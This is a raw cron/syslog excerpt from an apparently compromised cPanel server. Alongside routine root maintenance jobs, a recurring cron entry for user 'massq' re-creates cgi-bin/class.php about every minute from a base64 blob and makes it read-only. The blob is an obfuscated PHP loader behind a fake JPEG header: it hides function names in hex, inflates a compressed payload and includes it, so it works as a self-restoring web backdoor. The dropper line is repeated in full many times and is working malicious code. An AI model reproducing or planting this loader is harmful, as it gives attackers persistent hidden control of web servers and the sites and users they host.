Sep  4 11:50:01 server CROND[24696]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:51:01 server CROND[25522]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:51:01 server CROND[25521]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:51:01 server CROND[25523]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:52:01 server CROND[25896]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:52:01 server CROND[25897]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:52:01 server CROND[25898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:53:01 server CROND[26269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:53:01 server CROND[26270]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:53:01 server CROND[26268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:54:01 server CROND[26633]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:54:01 server CROND[26634]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:54:01 server CROND[26635]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:55:01 server CROND[27100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:55:01 server CROND[27104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:55:01 server CROND[27106]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 11:55:01 server CROND[27102]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:55:01 server CROND[27105]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 11:55:01 server CROND[27107]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 11:55:01 server CROND[27103]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 11:56:01 server CROND[27915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:56:01 server CROND[27916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:56:01 server CROND[27917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:57:02 server CROND[28284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:57:02 server CROND[28283]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 11:57:02 server CROND[28286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:57:02 server CROND[28285]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:58:01 server CROND[28669]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:58:01 server CROND[28670]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:58:01 server CROND[28671]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 11:59:01 server CROND[29037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 11:59:01 server CROND[29038]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 11:59:01 server CROND[29039]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:00:01 server CROND[29511]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 12:00:01 server CROND[29515]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 12:00:01 server CROND[29517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:00:01 server CROND[29522]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  4 12:00:01 server CROND[29527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 12:00:01 server CROND[29525]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 12:00:01 server CROND[29528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:00:01 server CROND[29523]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:00:01 server CROND[29529]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  4 12:00:01 server CROND[29521]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 12:00:01 server CROND[29524]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  4 12:01:01 server CROND[30380]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 12:01:01 server CROND[30382]: (root) CMD (run-parts /etc/cron.hourly)
Sep  4 12:01:01 server CROND[30381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 12:01:01 server CROND[30383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:01:01 server run-parts(/etc/cron.hourly)[30382]: starting 0anacron
Sep  4 12:01:01 server run-parts(/etc/cron.hourly)[30402]: finished 0anacron
Sep  4 12:02:01 server CROND[30762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 12:02:01 server CROND[30763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0Ol